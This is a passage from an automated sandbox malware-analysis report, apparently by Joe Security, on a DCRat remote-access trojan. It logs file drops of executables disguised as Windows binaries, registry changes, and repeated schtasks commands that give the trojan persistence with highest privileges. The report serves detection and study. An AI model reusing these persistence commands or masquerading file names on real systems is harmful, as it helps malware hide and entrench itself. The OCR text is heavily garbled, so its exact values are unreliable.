33 53 62 46 61 32 47 6¢C
78 37 45 58 74 36 56 56
4c 7a 555453325377
31 43 4f 58 49 37 4a 61
39 52 38 4a 53 6a 41 6d
6e 63 50 32 78 79 6e 39
6157 62 4541 35 33 42
4170 4e 58 6e 74 63 30
79 6f 59 63 37 4c 44 6¢
7a 72 71 30 6d 5a 39 43
5a 4f 36 76 66 45 5a 44
59 37 4a 6e 57 6d 38 34
39 5a 45 49 61 4b 42 50
54 30 50 54 50 43 59 6b
70 4c 3859 78 71 56 74
4f 56 45 41 42 5a 50 4d
74 77 30 4e 56 30 6¢ 4f
4e 7262 70 7a 47 79 56
69 6a 37 4b 6e 6a 47 54
45 55 34 46 47 42 4e 33
6b 43 6a 64 4d 4c 50 7a
6a 75 4c 47 4f 70 34 48
67 73 62 63 62 45 6a 4a
70 68 49 41 35 67 48 4c
64 69 45 77 67 55 49 57
54 49 6¢ 33 58 41 45 59
61 78 69 58 6a 75 62

4d 5a fd 00 03 00 00 00

Ascii

GzQyEWS5I0DZJJ1KEVO
dlcuoaeuDDO1
MX5wsm4UPM3SbFa2Gl
XTEXt6VVLzUT
S2Sw1COXI7Ja9R8IS|A
mncP2xyn9aW
bEA53BApNXntcOyoYc7
LDIzrqOmz9C
ZO6VfEZDY7InWm849Z
ElaKBPTOPTPC
YkpL8YxqVtOVEABZPMt
WONVOIONrbp
zGyVij7KnjGTEU4FGBN
3kCjdMLPzju
LGOp4HgsbcbEjJphlA5g
HLdiEwgUIW
TI3XAEYaxiXjub

MZ@!L!This program

04 00 00 00 fd fd 00 00 fd cannot be run in DOS

00 00 00 00 00 00 00 40
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 fd 00 00 00 Oe

1f fd Oe 00 fd 09 fd 21 fd
01 4c fd 21 54 68 69 73

207072 6f 67 72 61 6d

20 63 61 6e 6e 6f 74 20

62 65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d 6f

64 65 2e 0d 0d Oa 24 00
00 00 00 00 00 00 50 45
00 00 4c 01 04 00 fd 61

fd 62 00 00 00 00 00 00

00 00 fd 00 2e 01 Ob 01

06 00 00 fd Oc 00 00 36

00 00 00 00 00 00 7e fd

0Oc 00 00 20 00 00 00 fd

0Oc 00 00 00 40 00 00 20
00 00 00 02 00 00 04 00
00 00 00 00 00 00 04 00
00 00 00 00 00 00 00 60
0d 00 00 04 00 00 00 00
00 00 02 00 40 fd 00 00

10 00 00 10 00 00 00 00
10 00 00 10 00 00 00 00
00 00 0f 00 00 00 00 00

00 00 00 00 00

mode.$PELab.6~ @ '@

Completion

success or wait

success or wait

Count Source Address

1 7FFC5FB4B526

4 TFFC6022817A

Symbol

WriteFile

CopyFileW
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File Path

C:\comproviderRuntimecommon\9e

8d7a4ca61bd9

C:\comproviderRuntimecommon\ba

ckgroundTaskHost.exe

Copyright Joe Security LLC 2022

Offset

0

0

Length

402

262144

Value

356958 7852475171
56 71 42 51 32 7a 37 5a
31 63 39 7a 6b 30 45 69
6b 61 52 4e 52 4f 37 79
4b 6e 76 34 53 58 61 58
42 6d 4e 41 50 43 76 70
46 45 51 6¢ 4¢c 77 78 46
65 79 4e 30 7a 44 5a 47
74 4e 47 50 45 44 47 65
43 6¢ 79 38 6d 44 54 68
70 6d 48 4d 37 57 6e 58
30 70 5a 64 4b 6a 69 38
4e 47 51 43 36 66 6C 42
37 77 69 6a 38 7a 64 61
66 70 4c 4d 35 4d 4a 57
6b 73 59 59 6e 6d 55 63
43 30 7567 77 52 6¢C 4a
42 46 50 4c 78 44 5a 41
4d 39 38 65 58 57 43 41
36 34 62 4e 48 4d 58 55
63 46 67 49 45 36 6e 4f
45 43 4c 30 37 38 6a 68
54 59 4c 6f 6f 7a 46 71
7974 6a327a594379
7334737267 51 35 50
57 74 61 56 4b 4d 44 38
56 343373417471 6d
41 7a54 5558 7559 71
4157 48 4350 31 42 43
63 36 52 34 59 75 66 6d
71 6b 68 34 65 54 78 38
4f 46 72 71 37 6b 31

4d 5a fd 00 03 00 00 00

Ascii

5iXxRGQQqVqBQ2z7Z1c9 success or wait

zkOEikaRNRO
7yKnv4SXaXBmNAPCvp
FEQILwxFeyNO
zDZGtNGPEDGeCly8mD
ThpmHM7WnX0p
ZdKjiBNGQC6fIB7wij8zda
fpLM5MIW
ksYYnmUcCOugwRIIBF
PLXDZAM98eXW
CA64bNHMXUCFgIE6NO
ECLO78jhTYLo
ozFqytj2zYCys4srgQ5P
WtaVKMD8V4
3sAtqmAzTUXuYgAWHC
P1BCc6R4Yufm
gkh4eTx80Frg7kl

MZ@!L!This program

04 00 00 00 fd fd 00 00 fd cannot be run in DOS

00 00 00 00 00 00 00 40
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 fd 00 00 00 Oe

1f fd Oe 00 fd 09 fd 21 fd
01 4c fd 21 54 68 69 73

207072 6f 67 72 61 6d

20 63 61 6e 6e 6f 74 20

62 65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d 6f

64 65 2e 0d 0d Oa 24 00
00 00 00 00 00 00 50 45
00 00 4c 01 04 00 fd 61

fd 62 00 00 00 00 00 00

00 00 fd 00 2e 01 Ob 01
06 00 00 fd Oc 00 00 36

00 00 00 00 00 00 7e fd

0Oc 00 00 20 00 00 00 fd

0Oc 00 00 00 40 00 00 20
00 00 00 02 00 00 04 00
00 00 00 00 00 00 04 00
00 00 00 00 00 00 00 60
0d 00 00 04 00 00 00 00
00 00 02 00 40 fd 00 00

10 00 00 10 00 00 00 00
10 00 00 10 00 00 00 00
00 00 0f 00 00 00 00 00

00 00 00 00 00

mode.$PELab.6~ @ '@

Completion

success or wait

Count Source Address

1 7FFC5FB4B526

4 TFFC6022817A

Symbol

WriteFile

CopyFileW

Page 41 of 55



File Path Offset

C:\comproviderRuntimecommon\ed 0
db19405b7cel

C:\Recovery\ShellExperienceHost.exe 0

Copyright Joe Security LLC 2022

Length

965

262144

Value

4b 72 52 30 78 67 68 6a
62 69 7a 59 56 39 55 61
76 52 61 55 4a 66 4d 61
47 61 52 4c 4c 31 6b 4f

48 72 7a 5a 6b 4f 4d 6d

72 4c 67 51 4f 377378

713532747469 78 70
66 30 74 58 4f 57 59 6b

37 6b 52 6f 4a 34 7a 68

46 79 6d 38 38 35 4d 4a
72 65 66 50 38 31 65 6a
33 4b 34 74 65 7a 59 56
78 35 54 6e 71 45 6e 76
46 56 6f 35 35 7a 71 6a
6f 6b 70 74 30 49 6d 47

46 72 75 38 41 46 43 51
5a 52 4c 44 6d 69 64 6e
30 75 4b 6d 4d 69 6e 45
65 56 46 33 4b 6f 65 70

54 4d 68 38 55 70 75 39
54 59 67 6e 6f 6d 36 46

48 42 33 47 37 39 33 68
44 71 6570 41 49 46 75
77 66 75 5a 42 65 54 4c
39 4b 5479 43 41 5a31
593977 49 76 59 72 54
54 41 34 6e 4b 46 38 4b
53 76 31 49 32 67 45 6d
737248 78 70 45 65 44
51 6e 51 41 57 37 39 59
79 61 47 41 6b 70 42 33
4c 4a 67 51 4a 52 38

4d 5a fd 00 03 00 00 00

Ascii Completion Count Source Address

KrROxghjbizYV9UavRaU  success or wait 1 7FFC5FB4B526
JfMaGaRLL1
kOHrzzkOMmrLgQO7sx
g52ttixpfOtX
OWYk7kRoJ4zhFym885
MJrefP81ej3K
4tezYVX5TngENvVFVo055z
gjokpt0ImG
FruBAFCQZRLDmidnOuK
mMinEeVF3Ko
epTMh8Upu9TYgnom6F
HB3G793hDgep
AlFuwfuZBeTLIKTYyCAZ
LYOWIVYITTA
4AnKF8KSv1I2gEmsrHxp
EeDQNQAW79Y
yaGAkpB3LJgQJR8

MZ@!L!This program success or wait 4 7FFC6022817A

04 00 00 00 fd fd 00 00 fd cannot be run in DOS

00 00 00 00 00 00 00 40
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 fd 00 00 00 Oe

1f fd Oe 00 fd 09 fd 21 fd
01 4c fd 21 54 68 69 73

207072 6f 67 72 61 6d

20 63 61 6e 6e 6f 74 20

62 65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d 6f

64 65 2e 0d 0d Oa 24 00
00 00 00 00 00 00 50 45
00 00 4c 01 04 00 fd 61

fd 62 00 00 00 00 00 00

00 00 fd 00 2e 01 Ob 01

06 00 00 fd Oc 00 00 36

00 00 00 00 00 00 7e fd

0Oc 00 00 20 00 00 00 fd

0Oc 00 00 00 40 00 00 20
00 00 00 02 00 00 04 00
00 00 00 00 00 00 04 00
00 00 00 00 00 00 00 60
0d 00 00 04 00 00 00 00
00 00 02 00 40 fd 00 00

10 00 00 10 00 00 00 00
10 00 00 10 00 00 00 00
00 00 0f 00 00 00 00 00

00 00 00 00 00

mode.$PELab.6~ @ '@

Symbol

WriteFile

CopyFileW
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File Path Offset
C:\Recovery\f8c8f1285d826b 0
C:\Users\user\AppData\Local\Mi 0

crosoft\CLR_v4.0\UsageLogs\cha
insavesref.exe.log

File Read

File Path

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi

ne.config

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi

ne.config

C:\Windows\assembly\Nativelmages_v4.0.30319_64\mscorlib\ac26

Length Value

318

1740

e2af62f23e37e645b5e44068a025\mscorlib.ni.dll.aux

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi

ne.config

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Window

4d 41 7a 59 4f 45 48 32
45 65 53 58 36 64 54 46
7354 3770 77 4f 58 32
38 39 38 6b 77 6d 6b 4a
7548 49 67 42 42 31 65
37 76 32 78 5a 37 41 6¢
48 4a 57 56 67 78 68 37
6e 36 5a 4f 46 68 46 63
3349 6d 7956 78 4472
63 63 73 41 57 6a 63 41
39 58 63 6d 51 50 6e 37
6a 4b 33 46 6¢ 6d 5a 61
7061 3352554c5154
47 6f 32 44 45 67 6c 44
64 59 50 73 45 63 4c 6f
66 70 50 4b 34 38 46 30
44 52 56 36 70 4c 71 78
47 4a 67 6¢ 58 6a 32 44
6a 30 6¢ 4e 57 71 56 4e
4f 50 76 70 36 46 5a 49
6a 42 41 77 4c 6f 58 52
73 63 6¢ 34 36 6b 52 35
77 4c 6b 45 57 32 64 57
3549 73 61 5a41 30 41
74 59 43 56 6a 46 32 34
63 54 65 34 46 62 52 6e
37 3033766656 76 72
68 6e 31 43 36 36 32 72
6d 6b 4c 68 69 36 56 71
53 70 6¢ 43 58 6a 52 65
31 45 64 6a 48 45 66 59
6d 55 78 36 4f 7a 38

31 2c 22 66 75 73 69 6f

6e 22 2c 22 47 41 43 22
2c¢ 30 0d 0a 31 2¢ 22 57
69 6e 52 54 22 2c 22 4e
6f 74 41 70 70 22 2¢ 31

0d 0a 33 2c 22537973
74 65 6d 2c 20 56 65 72
73 69 6f 6e 3d 34 2e 30
2e 30 2e 30 2¢ 20 43 75
6c 74 75 72 65 3d 6e 65
757472 61 6¢ 2¢ 20 50
75 62 6¢ 69 63 4b 65 79
54 6f 6b 65 6e 3d 62 37
37 61 3563 35 36 31 39
33 34 653038 39 22 2¢
22 43 3a 5¢c 57 69 6e 64
6f 77 73 5¢c 61 73 73 65

6d 62 6¢ 79 5c 4e 61 74
69 76 65 49 6d 61 67 65
73 5f 76 34 2e 30 2e 33

30 33 31 39 5f 36 34 5¢

5379 73 74 65 6d 5¢ 31
3061313731333931
38 32 61 39 65 66 64 35
36 31 66 30 31 66 61 64
61 39 36 38 38 61 35 5¢
53 79 73 74 65 6d 2e 6e
69 2e 64 6¢ 6¢ 22 2¢ 30
0d 0a 33 2¢ 22 53 79 73
74 65 6d 2e 44 7261 77
69 6e 67 2c 20 56 65 72
73 69 6f 6e 3d 34 2e

Offset

unknown

unknown

unknown

unknown

unknown

s.Forms\6d7d43e19d7fc0006285b85b7e2c8702\System.Windows.Form

s.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System\10a171

39182a9efd561f01fada9688a5\System.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Drawin

unknown

unknown

g\49e5c0579db170be9741dccc34c1998e\System.Drawing.ni.dll.aux

Copyright Joe Security LLC 2022

Ascii

MAZzYOEH2EeSX6dTFsT
7pwOX2898kwm
kJuHIgBB1e7v2xZ7AIH]
WVgxh7n6Z0
FhFc3ImyVxDrccsAWjcA
9XemQPn7jK
3FImZapa3RULQTGo2D
EgIDdYPsEcLo
fpPK48FODRV6pLAXGJgl
Xj2DjoINWq
VNOPVp6FZIjBAWLOXRS
cl46kR5WLKE
W2dW5IsaZAOAtY CVjF2
4cTe4FbRn70
3vfVvrhn1C662rmkLhi6V
gSpICXjRe
1EdjHEfYmUx60z8

1,"fusion”,"GAC",01,"Win
RT","N
otApp",13,"System,
Version=4.0.0.0,
Culture=neutral, PublicK
eyToken=b77a5c561934
e089","C:\
Windows\assembly\Nativ
elmages_
v4.0.30319_64\System\1
0a171391
82a9efd561f01fada9688a
5\System
.ni.dll*,03,"System.Drawin
g, Version=4.

Length

4095

6135

176

4095

1720

620

584

Completion

success or wait

success or wait

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count Source Address

1 7FFC5FB4B526

1 TFFC613F8769

Count Source Address

1 7FFC60E5B9DD
1 7FFC60E5B9DD
1 7TFFC60F312E7
1 7TFFC60E62625
1 7TFFC60F312E7
1 7TFFC60F312E7
i 7FFC60F312E7

Symbol

WriteFile

WriteFile

Symbol

unknown

unknown

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile
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File Path

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Config
uration\e82398e9ff6885d617e4b97e31fb4f02\System.Configuratio

n.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Core\4
e05e2e48b8a6dd267a8c9e25ef129a7\System.Core.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Xml\f2
e3165e3c718b7ac302fead0614c984\System.Xml.ni.dll.aux

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi

ne.config

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi

ne.config

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi

ne.config

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi

ne.config

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Manage
ment\d0f4eb5b1d0857aabc3e7dd079735875\System.Management.ni.d

Il.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Runteb
92aal2#\5be3331dc99f83f7338fe65ac942ad9f\System.Runtime.Seri

alization.ni.dll.aux

Registry Activities
Key Created

Key Path

HKEY_CURRENT_USER\Software\caa6004a855dece65e49fdcfh42785d36f42888b

Key Value Created
Key Path

HKEY_CURRENT_USER\Softwar

e\caa

6004a855dece65e49fdcfh42785d3

6f42888b

Name Type

437b07143d558f unicode
8f987cd92e5732
98e152164ch4

Offset Length Completion
unknown 864 success or wait
unknown 900 success or wait
unknown 748 success or wait
unknown 4095 success or wait
unknown 8171 end of file
unknown 4096 success or wait
unknown 4096 end of file
unknown 764 success or wait
unknown 1100 success or wait
Completion

Data

WyJDOlIxcY29tcHIvdmlkZXJISdW50a
W
11Y29tbW9uXFxjaGFpbnNhdmVzemV
m
LmV4ZSIsIkM6XFXSZWNvdmVyeVxc
Y2
9uaG9zdC5leGUILCIDOIxcV2IuZG93
c1xcV2ViXFXTY3JIZW5cXElyclV2Ul
BHZUItQWhjLmV4ZSIsIkM6XFxXaW5
k
b3dzXFxIZWxwXFxtdWIcXDAOMDIcX
1=
1yc1V2UIBHZUIQWhjLmV4ZSIsIkM6
XFxSZWNvdmVyeVxcd2lubG9nb24uZ
XhlliwiQzpcXFJIY292ZXJI5XFxleHBs
b3JIci5leGUILCIDOIxcY29tcHIvdm
kZXJSdW50aW1lY29tbWIuXFxSdwW
50
aW1lQnJva2VyLmV4ZSIsIkMEXFxjb2
1wem92aWRlclJ1bnRpbWVjb21th25¢
XGJhY2tncm91bmRUYXNrSG9zdC5I
eG
UIiLCJIDOIxcUmVjb3ZIcnlcXFNoZWxs
RXhwzZXJIpZW5jZUhve3QuzXhlllo=

Analysis Process: schtasks.exe PID: 5100, Parent PID: 4740

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

8

00:52:14

06/08/2022
C:\Windows\System32\schtasks.exe

false

success or wait

Completion

success or wait

schtasks.exe /create /tn "conhostc” /sc MINUTE /mo 9 /tr "'C:\Recovery\conhost.exe™ /f

0x7ff73fb60000
226816 bytes
838D346D1D28F00783B7A6C6BD0O3A0DA

true

Copyright Joe Security LLC 2022

Count Source Address

1 7TFFC60F312E7
1 TFFC60F312E7
1 TFFC60F312E7
1 7FFC60E5B9DD
1 7FFC60E5B9DD
1 7FFC5FB4B526
1 7TFFC5FB4B526
1 TFFC60F312E7
1 TFFC60F312E7

Count Source Address

7TFFC5FB4E75B

Count Source Address

1 7FFC5FB503AD

Symbol

ReadFile

ReadFile

ReadFile

unknown

unknown

ReadFile

ReadFile

ReadFile

ReadFile

Symbol

RegCreateKeyEx
W

Symbol

RegSetValueEx
W
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Has administrator
privileges:

Programmed in:

Reputation:

true

C, C++ or other language

high

Analysis Process: schtasks.exe PID: 2292, Parent PID: 4740

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

9

00:52:14

06/08/2022

C:\Windows\System32\schtasks.exe

false

schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Recovery\conhost.exe™ /rl HIGHEST /f
0x7ff73c930000

226816 bytes

838D346D1D28F00783B7A6C6BDO3A0DA

true

true

C, C++ or other language

high

Analysis Process: schtasks.exe PID: 5208, Parent PID: 4740

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

10

00:52:15

06/08/2022

C:\Windows\System32\schtasks.exe

false

schtasks.exe /create /tn “"conhostc” /sc MINUTE /mo 9 /tr “C:\Recovery\conhost.exe™ /rl HIGHEST /f
0x7ff73fb60000

226816 bytes

838D346D1D28F00783B7A6C6BD0O3A0DA

true

true

C, C++ or other language

high

Analysis Process: schtasks.exe PID: 5296, Parent PID: 4740

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

11

00:52:16

06/08/2022
C:\Windows\System32\schtasks.exe

false

schtasks.exe /create /tn "MrsUvRPGelmAhcM" /sc MINUTE /mo 9 /tr "'C:\Windows\Web\Screen\MrsUvRPGelmAhc.exe™ /f

0x7ff73fb60000

226816 bytes
838D346D1D28F00783B7A6C6BDO3A0DA
true

true

C, C++ or other language

high

Copyright Joe Security LLC 2022
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Analysis Process: schtasks.exe PID: 1100, Parent PID: 4740

General

Target ID: 12

Start time: 00:52:16

Start date: 06/08/2022

Path: C:\Windows\System32\schtasks.exe

Wow64 process (32bit): false

Commandline: schtasks.exe /create /tn "MrsUvRPGelmAhc" /sc ONLOGON /tr "'C:\Windows\Web\Screen\MrsUvRPGelmAhc.exe™ /rl HIGHEST /f
Imagebase: 0x7ff73fb60000

File size: 226816 bytes

MDS5 hash: 838D346D1D28F00783B7A6C6BD0O3A0DA

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language

Reputation: high

Analysis Process: schtasks.exe PID: 5284, Parent PID: 4740

General

Target ID: 14

Start time: 00:52:16

Start date: 06/08/2022

Path: C:\Windows\System32\schtasks.exe

Wow64 process (32bit): false

Commandline: schtasks.exe /create /tn "MrsUvRPGelmAhcM" /sc MINUTE /mo 11 /tr "'C:\Windows\Web\Screen\MrsUvRPGelmAhc.exe™ /rl HIGHEST /f
Imagebase: 0x7ff73fb60000

File size: 226816 bytes

MDS5 hash: 838D346D1D28F00783B7A6C6BDO3A0DA

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language
Reputation: high

Analysis Process: MrsUvRPGelmAhc.exe PID: 3432, Parent PID: 848

General

Target ID: 16

Start time: 00:52:17

Start date: 06/08/2022

Path: C:\Windows\Web\Screen\MrsUvRPGelmAhc.exe

Wow64 process (32bit): false

Commandline: C:\Windows\Web\Screen\MrsUvRPGelmAhc.exe
Imagebase: 0x960000

File size: 848384 bytes

MD5 hash: AEAF964B744BD6801B5122AE1AFBBDE4

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: .Net C# or VB.NET

Yara matches: e Rule: JoeSecurity DCRat_1, Description: Yara detected DCRat, Source:

00000010.00000002.330291471.0000000002CBB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity DCRat_1, Description: Yara detected DCRat, Source:
00000010.00000002.328491076.0000000002C71000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

Antivirus matches: e Detection: 70%, ReversingLabs

Reputation: low

File Activities
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File Created
File Path Access

C:\Users\user read data or list

Attributes

device

Options

directory file |

C:\Users\user\AppData\Roaming

C:\Users\user\AppData\Local\Mi
crosoft\CLR_v4.0\UsageLogs\MrsUvRPGelmAhc.exe.log

File Written
File Path

C:\Users\user\AppData\Local\Mi
crosoft\CLR_v4.0\UsageLogs\Mrs

UVRPGelmAhc.exe.log

File Read

File Path

C:\Windows\Microsoft. NET\Framework64\v4.0.30319\Config\machi

ne.config

C:\Windows\Microsoft. NET\Framework64\v4.0.30319\Config\machi

ne.config

directory |
synchronize

read data or list  device
directory |
synchronize

read attributes |  device
synchronize |
generic write

Value

31 2c 22 66 75 73 69 6f
6e 22 2¢ 22 47 41 43 22
2c¢ 30 0d 0a 31 2¢ 22 57
69 6e 52 54 22 2¢ 22 4e
6f 74 4170 70 22 2¢ 31
0d 0a 33 2c 22537973
74 65 6d 2c 20 56 65 72
73 69 6f 6e 3d 34 2e 30
2e 302e 302c 204375
6¢ 74 75 72 65 3d 6e 65
757472 61 6¢ 2¢ 20 50
75 62 6¢ 69 63 4b 65 79

synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

synchronous io
non alert | non
directory file

Ascii

1,"fusion","GAC",01,"Win
RT","N
otApp",13,"System,
Version=4.0.0.0,
Culture=neutral, PublicK
eyToken=b77a5c561934
€089","C:\
Windows\assembly\Nativ
elmages_
v4.0.30319_64\System\1
0a171391
82a9efd561f01fada9688a

54 6f 6b 65 6e 3d 62 37  5\System
3761356335363139 .ni.dll",03,"System.Drawin
333465303839222c g, Version=4.

22 43 3a 5c 57 69 6e 64
6f 77 73 5¢c 61 73 73 65

6d 62 6¢ 79 5¢c 4e 61 74
69 76 65 49 6d 61 67 65
73 5f 76 34 2e 30 2e 33

30 33 31 39 5f 36 34 5¢

5379 73 74 65 6d 5¢ 31
3061313731333931
38 32 61 39 65 66 64 35
36 31 66 30 31 66 61 64
61 39 36 38 38 61 35 5¢
53 79 73 74 65 6d 2e 6e
69 2e 64 6¢ 6¢ 22 2¢ 30
0d 0a 33 2¢ 22 53 79 73
74 65 6d 2e 44 7261 77
69 6e 67 2c 20 56 65 72
73 69 6f 6e 3d 34 2e

C:\Windows\assembly\Nativelmages_v4.0.30319_64\mscorlib\ac26
e2af62f23e37e645b5e44068a025\mscorlib.ni.dll.aux

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi
ne.config

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi
ne.config

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Window
s.Forms\6d7d43e19d7fc0006285b85b7e2c8702\System.Windows.Form
s.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System\10a171
39182a9efd561f01fada9688a5\System.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Drawin
g\49e5c0579db170be9741dccc34c1998e\System.Drawing.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Config
uration\e82398e9ff6885d617e4b97e31fb4f02\System.Configuratio
n.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Core\4
e05e2e48b8a6dd267a8c9e25ef129a7\System.Core.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Xml\f2
e3165e3c718b7ac302fead0614c984\System.Xml.ni.dll.aux

Copyright Joe Security LLC 2022

Offset Length
unknown 4095
unknown 6135
unknown 176
unknown 4095
unknown 6135
unknown 1720
unknown 620
unknown 584
unknown 864
unknown 900
unknown 748

Completion

object name collision

object name collision

success or wait

Completion

success or wait

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count Source Address

1 7FFC60F8F1E9
1 7FFC60F8F1E9
1 7FFC613F86ED

Count Source Address

1 7TFFC613F8769

Count Source Address
1 7FFC60E5B9DD
1 7FFC60E5B9DD
1 7FFC60F312E7
1 7TFFC60E62625
1 TFFC60E62625
1 7TFFC60F312E7
1 TFFC60F312E7
1 TFFC60F312E7
1 TFFC60F312E7
1 7TFFC60F312E7
1 7TFFC60F312E7

Symbol

unknown

unknown

CreateFileW

Symbol

WriteFile

Symbol

unknown

unknown

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile
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File Path

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi

ne.config

C:\Windows\Microsoft. NET\Framework64\v4.0.30319\Config\machi

ne.config

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi

ne.config

C:\Windows\Microsoft. NET\Framework64\v4.0.30319\Config\machi

ne.config

Offset

Analysis Process: schtasks.exe PID: 3056, Parent PID: 4740

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

17

00:52:17

06/08/2022
C:\Windows\System32\schtasks.exe

false

unknown

unknown

unknown

unknown

Length

4095

8171

4096

4096

Completion

success or wait

end of file

success or wait

end of file

Count

1

1

Source Address

7FFC60E5B9DD

7FFC60E5B9DD

7FFC5FB4B526

7FFC5FB4B526

schtasks.exe /create /tn "MrsUvRPGelmAhcM" /sc MINUTE /mo 6 /tr "'C:\Windows\Help\mui\0409\MrsUvRPGelmAhc.exe" /f

0x7ff73fb60000

226816 bytes
838D346D1D28F00783B7A6C6BDO3A0DA
true

true

C, C++ or other language

Analysis Process: schtasks.exe PID: 2232, Parent PID: 4740

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

19

00:52:17

06/08/2022
C:\Windows\System32\schtasks.exe

false

schtasks.exe /create /tn "MrsUvRPGelmAhc" /sc ONLOGON /tr "'C:\Windows\Help\mui\0409\MrsUvRPGelmAhc.exe™ /rl HIGHEST /f

0x7ff73fb60000

226816 bytes
838D346D1D28F00783B7A6C6BD0O3A0DA
true

true

C, C++ or other language

Analysis Process: schtasks.exe PID: 6120, Parent PID: 4740

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

20

00:52:18

06/08/2022
C:\Windows\System32\schtasks.exe

false

schtasks.exe /create /tn "MrsUvRPGelmAhcM" /sc MINUTE /mo 7 /tr "'C:\Windows\Help\mui\0409\MrsUvRPGelmAhc.exe" /rl HIGHEST /f

0x7ff73fb60000

226816 bytes
838D346D1D28F00783B7A6C6BDO3A0DA
true

true
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Programmed in:

C, C++ or other language

Analysis Process: schtasks.exe PID: 5800, Parent PID: 4740

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

21

00:52:19

06/08/2022

C:\Windows\System32\schtasks.exe

false

schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 9 /tr "'C:\Recovery\winlogon.exe™ /f
0x7ff73fb60000

226816 bytes

838D346D1D28F00783B7A6C6BD0O3A0DA

true

true

C, C++ or other language

Analysis Process: schtasks.exe PID: 4592, Parent PID: 4740

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

22

00:52:19

06/08/2022

C:\Windows\System32\schtasks.exe

false

schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Recovery\winlogon.exe™ /rl HIGHEST /f
0x7ff73fb60000

226816 bytes

838D346D1D28F00783B7A6C6BD0O3A0DA

true

true

C, C++ or other language

Analysis Process: MrsUvRPGelmAhc.exe PID: 2756, Parent PID: 848

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

Antivirus matches:

23

00:52:19

06/08/2022
C:\Windows\Help\mui\0409\MrsUvRPGelmAhc.exe
false
C:\Windows\Help\mui\0409\MrsUvRPGelmAhc.exe
0xcf0000

848384 bytes
AEAF964B744BD6801B5122AE1AFBBDE4

true

true

.Net C# or VB.NET

e Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source:

